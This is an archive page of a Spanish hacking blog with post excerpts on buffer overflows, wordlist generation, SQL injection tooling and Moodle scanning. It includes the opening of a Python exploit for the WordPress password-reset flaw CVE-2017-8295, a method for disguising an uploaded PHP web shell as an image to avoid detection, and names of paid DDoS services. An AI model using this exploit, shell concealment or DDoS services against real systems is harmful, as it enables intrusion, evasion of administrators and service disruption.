Entradas

Mostrando entradas de 2017

Stack Buffer Overflow: Hackeando la memoria en Linux x64

Imagen
Buen día! (o noche) Continuando con las técnicas empleadas en seguridad informática, quise dar paso al Stack Buffer Overflow. Si bien es más complejo explotar este tipo de vulnerabilidades en los sistemas, una vez que lo logramos, podremos ejecutar código arbitrario en el mismo. EL STACK Primero, daremos un repaso a los registros del espacio de memoria asignado a nuestro objetivo. Más información aquí Los registros más importantes para este ejemplo, en sistema operativo de 64 bits, son  RSP, RBP y RIP. RSP : Es el puntero de la pila (stack pointer). Les recuerdo a mis colegas informáticos (porque esto es del primer año de estudio), que la pila funciona como una cola de tipo LIFO (last in, first out) con las clásicas operaciones push y pop (poner y quitar). RSP apunta a la siguiente posición disponible en la cola. RBP : Cuando se ejecuta una función del programa en memoria se carga un frame, llamado stack frame, en el se almacenaran los parámetros (o argumentos),

Linux: Aumentar tamaño de partición con el problema de tener extended/swap en medio (Kali o Debian)

Imagen
Hace unos días, al actualizar el sistema operativo, en este caso Kali Linux 2, me salió una alerta de espacio en disco, como la siguiente: Así que para poder seguir descargando las bases de datos y fuentes de los sistemas vulnerados (jaja broma). Decidí no eliminar nada, si no asignar más espacio al sistema. Como uso este sistema operativo sólo para pruebas de penetración y pruebas de concepto, lo tengo instalado en una máquina virtual (usando VMware), así que apagué: Y me fui a asignar más espacio al disco virtual. Una vez iniciado nuevamente Kali, en la consola escribí: gparted y se lanza una utilidad gráfica para configurar las particiones. El problema que tuve, y por lo mismo decidí escribir este post, es que el espacio disponible quedaba al final, justo después de la partición SWAP, por lo que la herramienta gráfica no me dejaba expandir el cuadro amarillo que vemos abajo hacia la derecha,. No soy experto en Linux, en la mayoría de mis trabajos me ha tocado

Cracking: Creando diccionarios de contraseñas (password - claves) a partir de palabras clave

Imagen
Hola! Hoy quiero compartir el uso de algunas herramientas para la creación de diccionarios (wordlist) con passwords para las pruebas de fuerza bruta. Lo que quiero destacar, es el uso de palabras claves en la generación del mismo. Hay veces donde utilizamos diccionarios ya creados (rockyou por ejemplo - https://wiki.skullsecurity.org/Passwords ) u otros que vienen incluidos en Kali Linux, sin embargo, si nuestros objetivos son de habla hispana, será menos probable dar con las credenciales ya que estos diccionarios tienen muchas palabras en inglés. Existen herramientas que a partir de palabras claves son capaces de generar un diccionario con todas las combinaciones posibles de esas palabras. También hay otras utilidades que pueden a partir de un sitio web (y su contenido) crear el diccionario, buscando en el mismo sitio las palabras a utilizar para la creación del diccionario. CRUNCH - A mi juicio el más básico, pero que les será útil en muchas ocasiones. https://tools.ka

Hacking Tools: moodlescan, scanner de vulnerabilidades para Moodle

Imagen
Colegas! Les comparto un pequeño script (y proyecto personal), escrito en Python para analizar automáticamente los sitios  de eLearning desarrollados en Moodle. Aún hay mucho por mejorar, por lo que les dejo también el repositorio en GitHub https://github.com/inc0d3/moodlescan Si alguno se anima a mejorar la herramienta, bienvenido! Además de listar automáticamente las vulnerabilidades a partir de la versión, estoy tratando de incorporar (cuando sea posible) la explotación automática de la misma. Nada mejor que "todo en uno", el tiempo es valioso, y es mucho más cómodo poder explotar en la misma herramienta. Saludos

0-day: WordPress < 4.7.4 - Unauthorized Password Reset Vulnerability

Imagen
Hola Después de varios días de inactividad, llegó esta noticia: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html Se trata de una vulnerabilidad 0-day en todas las veriones  de Wordpress <= 4.7.4, que permite obtener el correo con el link para resetear la clave de un usuario, sin tener que estar autenticado. Para probar desarrollé este código, espero les sirva. #! /usr/bin/python import httplib, urllib import sys print(""" Wordpress exploit CVE-2017-8295 v1.0 - www.incode.cl 1. Obtener nombre de usuario de wordpress y su email 2. Generar DoS en email del usuario 3. Crear tu correo '[email protected]' Continuar con el exploit... """) url = raw_input("4. Ingresa la URL del Wordpress (ej: http://misitio.com) : ") if len(url) > 5: user = raw_input("5. Ingresa el nombre de usuario WP (ej: admin) : ") if len(user) <= 1: print ("Usuario invalido

Ocultando la web shell como una imagen (Apache + PHP)

Imagen
Iniciamos marzo con una técnica muy utilizada, se trata de ocultar una shell que hemos subido a nuestro servidor objetivo, ocultarla 100% no será posible, pero si pasará desapercibida para muchos administradores y webmasters. La técnica consiste en que nuestro script (PHP en este caso) se oculte bajo una supuesta imagen. Primero, se asume que detectamos una vulnerabilidad que nos permita crear un archivo en el servidor, luego explotamos la vulnerabilidad y subimos nuestra shell, supongamos un plugin de Wordpress que hace upload de imagenes sin validar. Podríamos ver un directorio similar a este: Lo que vemos, es claramente un script PHP, debe mantener esa extensión para que el servidor lo interprete, lo ejecute y podamos hacer uso de este. El problema es que es demasiado evidente que se ha vulnerado la aplicación, entonces se hace necesario ocultar o camuflar esta intrusión de alguna forma. Apache permite sobre escribir algunas configuraciones a través de un archivo qu

Hacking Tools: sqlidownloader basado en el script en Perl file_reader.pl de PhineasFisher

Imagen
Hola! Seguramente has escuchado sobre los ataques al Sindicat de Mossos d’Esquadra, sino, en Google hay harta información: https://www.google.cl/search?q=mossos+de+escuadra+hacked Uno de los ataques fue "grabado" en un video y publicado por un hacker que se hace llamar "Phineas Fisher". El ataque se hizo a través del sitio del sindicato de los policías, era vulnerable a SQL Injection y tenía además varias fallas de programación, que permitieron al atacante descargar todo el código fuente y subir una web shell al servidor. [mirrors] - Hacking Sindicat de Mossos d'Esquadra (Catalan Police Union) from TuKuLs on Vimeo . En el video, Phineas Fisher muestra una herramienta escrita en Perl que automatiza la descarga de archivos usando SQLMAP, justamente eso es lo que quiero compartir en este post, pero desarrollado en Python. Escribí el código porque la herramienta me servirá y porque siempre al desarrollar aparecen desafíos que nos hacen investigar y

DDoS as a service, nueva herramienta, nuevo negocio y nuevo problema

Imagen
Los ataques de denegación de servicios son bastante antiguos, sin embargo, hace algunos años se debía tener a mano la infraestructura necesaria para poder llevarlos a cabo, por lo general, varios computadores conectados a Internet y manipulados por el atacante.  más información . Luego recuerdo que era común ver anuncios para usar LOIC con el objetivo de bajar un servicio que causara polémica en un momento determinado (político y/o social). Nueva herramienta Como herramienta, ahora tenemos servicios pagados para generar denegaciones de servicios, esto nos brinda una infraestructura para nuestros análisis, nuestros test de penetración y/o investigaciones, simplemente pagamos para un uso determinado, ahorrando tiempo y dinero. Algunos de los servicios que existen son: beststresser.com zstress.net ipstresser.com Es importante destacar que estos servicios son bastante económicos y cada día van mejorando su infraestructura y su eficacia. Otro dato curioso es que la mayo

Nmap: Características de la nueva versión 7.40

Imagen
Buen día! Decidí resumir las nuevas características de Nmap. de su reciente versión 7.40 lanzada el pasado 20 de diciembre de 2016. Como siempre digo, no me detendré a explicar qué es Nmap, en Google está esa información o Wiki . La lista oficial de cambios la puedes ver de acá  https://nmap.org/changelog.html . Dentro de los cambios más importantes están: Actualización en cientos de firmas para detectar sistemas operativos y su versión Se integraron a Nmap los servicios y versiones enviadas por la comunidad durante abril de 2016 a septiembre de 2016 (779 de ellos), con esto la herramienta ahora detecta 1161 protocolos, puedes ver más detalles acá  http://seclists.org/nmap-dev/2016/q4/115 Además de los servicios, se integraron las firmas enviadas de sistemas operativos (568 adicionales), aumentando a un total de 5.336 firmas, entre ellas, Linux 4.6, macOS 10.12 Sierra, NetBSD 7.0. Pueds ver más detalles acá  http://seclists.org/nmap-dev/2016/q4/110 Sistema para cr

Automatizando scan de sql injection con SQLMap

Imagen
Buenas! Todos los que estamos metidos de una u otra forma en el tema de la seguridad informática sabemos lo que es una vulnerabilidad de tipo SQL Injection (SQLi). A veces ingresamos a módulos de administración poniendo en el login un "' or 1=1--" o obtenermos información adicional haciendo SQL UNION de algunas columnas, pero  hay algunos ataques de SQL Injection que sin duda es mejor automatizar, y es aquí donde aparece sqlmap , una herramienta open source, escrita en Python que automatiza el proceso de detección y explotación de SQLi. La imagen muestra la forma básica y más utilizada, que consiste simplemente en pasarle como parámetro la URL con la vulnerabilidad. Luego el script se encargará de todo, realizar diferentes test, buscar cuál es el motor de base de datos, versión del motor, y finalmente acceder a toda la base de datos. Hasta aquí todo bien, excepto cuando en algunas ocaciones me ocurría un falso/positivo y finalmente el parámetro no era vulnerable

Hacking Tools: Listando y explotando vulnerabilidades con Python

Imagen
Con este post finalizo la introducción al scripting con Python, donde de forma muy superficial vimos lo básico del lenguaje para comenzar el desarrollo de nuestras herramientas y luego obtener información relevante de nuestro objetivo web . Ahora veremos como listar y explotar vulnerabilidades. Continuaremos con el código del post anterior Primero debemos crear una estructura variable (un arreglo o matriz) que almacene la información de vulnerabilidades para cada versión de nuestro objetivo, en nuestro caso de ejemplo, Moodle. Se me ocurre que cuando la herramienta encuentre una versión con vulnerabilidades conocidas (CVE: Common Vulnerabilities and Exposures - generalmente publicadas en www.cvedetails.com), muestre en pantalla: Código CVE Descripción de la vulnerabilidad Enlaces o links a documentación de referencia Una opción que indique si con nuestra herramienta podemos explotar dicho fallo La matriz deberá tener todo eso y adicionalmente incorporar qué versiones de nu

Hacking Tools: Obteniendo datos de un objetivo web con Python

Imagen
Continuando con el post anterior , que es una introducción a la creación de herramientas en Python, veremos ahora cómo obtener datos interesantes (desde el punto de vista de seguridad informática) de un objetivo web. En este artículo vamos a realizar pruebas con un sitio que tenga instalado Moodle, obtendremos los banners del servidor y luego vamos a comparar un archivo (/admin/environment.xml) que viene en la raíz de Moodle con un hash MD5, con esto buscaremos identificar la versión de Moodle. Por seguridad puede que existan webmasters que eliminen dicho archivo, pero recuerda que esto es un ejemplo, luego podrás incorporar todas las comparaciones que quieras para obtener de mejor manera la versión. Importamos la librería "urllib". Con ella podremos generar peticiones HTTP y obtener las cabeceras de la respuesta. Utilizaremos el código del post anterior y lo iremos completando #! /usr/bin/python import optparse import urllib.request print (""" Mi prim

Hacking Tools: Introducción a scripting con Python

Imagen
Con este post doy inicio al blog, si bien es un blog de seguridad informática, quiero comenzar con algo básico, y tiene que ver con la creación de nuestras propias herramientas de análisis de vulnerabilidades. He elegido el lenguaje Python por su simpleza y por su fácil lectura y comprensión, pero claramente puedes utilizar cualquier otro. No me detendré en los pasos para instalar Python en tu equipo, en Google hay suficiente información, por lo tanto asumiré que en tu computador ya está correctamente instalado y configurado. Comenzamos con el clásico "hola mundo", así de simple: print "hola mundo" Lo guardamos como "scan.py" y ejecutamos > python scan.py La salida en pantalla será > hola mundo Si aparece algun error, puede ser que falte dar los permisos de ejecución al archivo, esto lo hacemos con el siguiente comando > chmod 755 scan.py Ahora, un detalle, si no queremos anteponer el comando "python" para ejecutar,